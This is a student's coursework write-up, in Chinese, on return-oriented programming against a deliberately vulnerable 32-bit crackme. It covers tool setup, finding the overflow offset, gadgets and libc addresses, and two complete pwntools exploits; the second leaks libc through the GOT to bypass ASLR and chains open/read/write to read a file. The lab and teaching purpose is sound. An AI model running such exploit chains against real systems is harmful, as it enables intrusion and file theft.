20220415信息系统安全(羌卫中老师)课后作业1
实验环境
操作系统 & 工具
操作系统:5.15.0-kali3-amd64
pwntools
Installation — pwntools 4.7.0 documentation
apt-get update apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools
由于需要在命令行中使用相关工具(cyclic / readelf / …),需要将命令行工具所在位置
~/.local/bin
路径添加到PATH
环境变量。linux下查看和添加PATH环境变量安装完成后就可以在python环境外调用pwntools相关工具了
pwngdb
pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy (github.com)
安装方式
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
安装后命令行输入
gdb
就能看到ghidra(optional)
感觉可以用IDA做同样的事,或许是我没用到
待rop程序
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
void start() {
printf("IOLI Crackme Level 0x00\n");
printf("Password:");
char buf[64];
memset(buf, 0, sizeof(buf));
read(0, buf, 256);
if (!strcmp(buf, "250382"))
printf("Password OK :)\n");
else
printf("Invalid Password!\n");
}
int main(int argc, char *argv[]) {
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF,0);
start();
return 0;
}
编译 & 系统选项
关闭/开启Stack保护(stack canary)(默认开启)
-fno-stack-protector -fstack-protector
关闭NX(默认开启)
-z execstack
关闭/开启 pie(默认开启)
-no-pie -pie
32bit 编译选项(64bit OS上)(默认64位)
-m32
ASLR设置(关闭置0)
cat /proc/sys/kernel/randomize_va_space sudo sysctl -w kernel.randomize_va_space=? (0或2)
# 完整编译指令
gcc stack.c -o stack -fno-stack-protector
Exp
cyclic 获取溢出点
进入pwngdb,使用cyclic命令生成一段100字节的字符串作为输入,可以看到程序崩溃并给出一个无效地址。
$ gdb ./stack
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> run
pwndbg> run
Starting program: /home/kali/Desktop/SysSecurity/stack
IOLI Crackme Level 0x00
Password:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
用该地址回到cyclic进行比较,可以知道溢出点的位置是76
获取PR / PPR / PPPR地址
在命令行中使用ropper
工具
ropper --file ./stack_test | grep "pop" | grep "ret"
可以从中找到pop-ret / pop-pop-ret / pop-pop-pop-ret的地址,这是这几个gadget在程序中的偏移地址,在代码中使用时需要加上程序加载的基地址。
获取libc函数地址
在pwndbg中使用print命令即可获得
还可以通过readelf工具获取以上函数在libc文件中的偏移地址,从而计算出libc的加载地址
两个system函数的地址相减可以确定载入地址
获取特殊字符串位置
# 查找程序中的特殊字符串位置
ropper --file ./stack --string "Password OK"
# 或者
ROPgadget --binary ./stack --string 'Password OK'
这里查到的位置是偏移地址
这是开启了PIE的缘故,如果关闭PIE则会获得执行时的地址
由于PIE是默认打开的,所以以下还是以PIE打开的情况进行分析
获取字符串在执行时的位置需要在pwndbg中,在程序执行时使用search
命令查找
# 命令行执行
gdb ./stack
# pwndbg执行
b main # 在main函数执行前打上断点
r
search "Password OK"
获取成功的字符串地址后即可在程序中输出成功提示
构造payload
payload = flat(['a'*76, printf_addr, PR, str_print])
也算是完成了参考资料中的一个task1
Tut06-1: Return-oriented Programming - CS6265: Information Security Lab (gts3.org)
获取字符串写入地址
由于要求中要open一些文件,需要有这些文件的路径。需要在exploit代码中先通过gets函数读入这个文件路径,将读入的数据保存在bss段中,后续通过利用bss段中字符串的地址,结合open函数就可以打开这个文件了。
readelf -S ./stack
可以看到此时bss段位置是0x00004030
exploit1.py 代码
查找完以上信息后,即可使用这个代码在开PIE关ASLR的环境下exploit了
#!/usr/bin/env python3
from pwn import *
p = process("./stack")
PR = 0x0000138b
PPR = 0x0000138a
PPPR = 0x00001389
payload = b'A' * 76
system_addr = 0xf7e00d00
system_offset = 0x00033cc0
libc_addr = system_addr - system_offset
puts_addr = 0xf7e2b4e0
printf_addr = 0xf7e0ff10
open_addr = 0xf7ead770
read_addr = 0xf7eadc90
write_addr = 0xf7eadd50
gets_addr = 0xf7e2aa00
exit_addr = 0xf7df3680
str_passwd_ok_offset = 0x00002031
bss_offset = 0x00004038
bss2_offset = 0x00004038 + 20
str_passwd_ok_addr = 0x56557031
load_addr = str_passwd_ok_addr - str_passwd_ok_offset
str_passwd_input_offset = 0x00002008
payload += p32(gets_addr)
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr)
payload += p32(puts_addr)
payload += p32(PR + load_addr)
payload += p32(bss_offset + load_addr)
payload += p32(open_addr)
payload += p32(PPR+ load_addr)
payload += p32(bss_offset + load_addr)
payload += p32(0)
payload += p32(read_addr)
payload += p32(PPPR+ load_addr)
payload += p32(3)
payload += p32(bss2_offset + load_addr)
payload += p32(20)
payload += p32(write_addr)
payload += p32(PPPR+ load_addr)
payload += p32(1)
payload += p32(bss2_offset + load_addr)
payload += p32(20)
payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)
print(payload)
p.sendline(payload)
p.interactive()
代码执行时,会调用gets函数读取需要打开的文件路径,并将其保存在bss段中,puts回显文件路径保证不出错误,调用open函数打开文件,由于目前程序未打开其他文件,所以除了0/1/2外没有其他文件号,3自然是新打开的文件号,于是read使用3读取信息到bss中的另外一段,write将这段信息再输出到标准输出。(flag文件中内容为:a flag)
开启ASLR后无法正常执行
exploit2.py 代码
在被老师打回作业重做后,又找了其他办法绕过ASLR,最后在舍友zsd的帮助下完成以下内容
(自己忙活了半天才想起来关了PIE或许好做一点,不过说来奇怪,为什么自己开了PIE每次加载地址还是一样的?)
这里利用延迟绑定的原理,从PLT和GOT中先获取libc_start_main的运行地址,然后计算出libc的加载地址
通过start的再调用,让溢出点再次出现
根据各所需函数在libc中的偏移,结合libc的加载地址可以获取真实可用的地址
剩下的就和exploit1一模一样了
from pwn import *
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p = process("./stack")
stack = ELF("./stack")
PR = 0x0804935b
PPR = 0x0804935a
PPPR = 0x08049359
num = 76
payload = b'A' * num
plt_puts = stack.plt['puts']
print('%#x' % plt_puts)
start_addr = stack.symbols['start']
print('%#x' % start_addr)
got_libc_start_main = stack.got['__libc_start_main']
print('%#x' % got_libc_start_main)
payload += p32(plt_puts)
payload += p32(start_addr)
payload += p32(got_libc_start_main)
print('payload:', payload)
p.sendline(payload)
p.recvuntil(b"Invalid Password!\n")
libc_start_main_addr = u32(p.recv(4))
print('%#x' % libc_start_main_addr)
libc_base = libc_start_main_addr-libc.symbols["__libc_start_main"]
print('%#x' % libc_base)
open_addr = libc_base+libc.symbols["open"]
read_addr = libc_base+libc.symbols["read"]
write_addr = libc_base+libc.symbols["write"]
gets_addr = libc_base+libc.symbols["gets"]
puts_addr = libc_base+libc.symbols["puts"]
printf_addr = libc_base+libc.symbols["printf"]
scanf_addr = libc_base+libc.symbols["scanf"]
exit_addr = libc_base+libc.symbols["exit"]
system_addr = libc_base+libc.symbols["system"]
bss1_addr = 0x0804c038
bss2_addr = 0x0804c038+40
# open("/tmp/flag", 0) #some note for file reading
# read(3, buf, 1048)
# write(1, buf, 1048)
payload = b'A' * num
payload += p32(gets_addr)
payload += p32(PR)
payload += p32(bss1_addr)
payload += p32(puts_addr)
payload += p32(PR)
payload += p32(bss1_addr)
payload += p32(open_addr)
payload += p32(PPR)
payload += p32(bss1_addr)
payload += p32(0)
payload += p32(read_addr)
payload += p32(PPPR)
payload += p32(3)
payload += p32(bss2_addr)
payload += p32(64)
payload += p32(write_addr)
payload += p32(PPPR)
payload += p32(1)
payload += p32(bss2_addr)
payload += p32(64)
payload += p32(exit_addr)
payload += p32(0xdeadbeef)
payload += p32(0)
print(payload)
p.sendline(payload)
p.interactive()
参考内容
基本 ROP - CTF Wiki (ctf-wiki.org)
Tut00: Introduction - CS6265: Information Security Lab (gts3.org)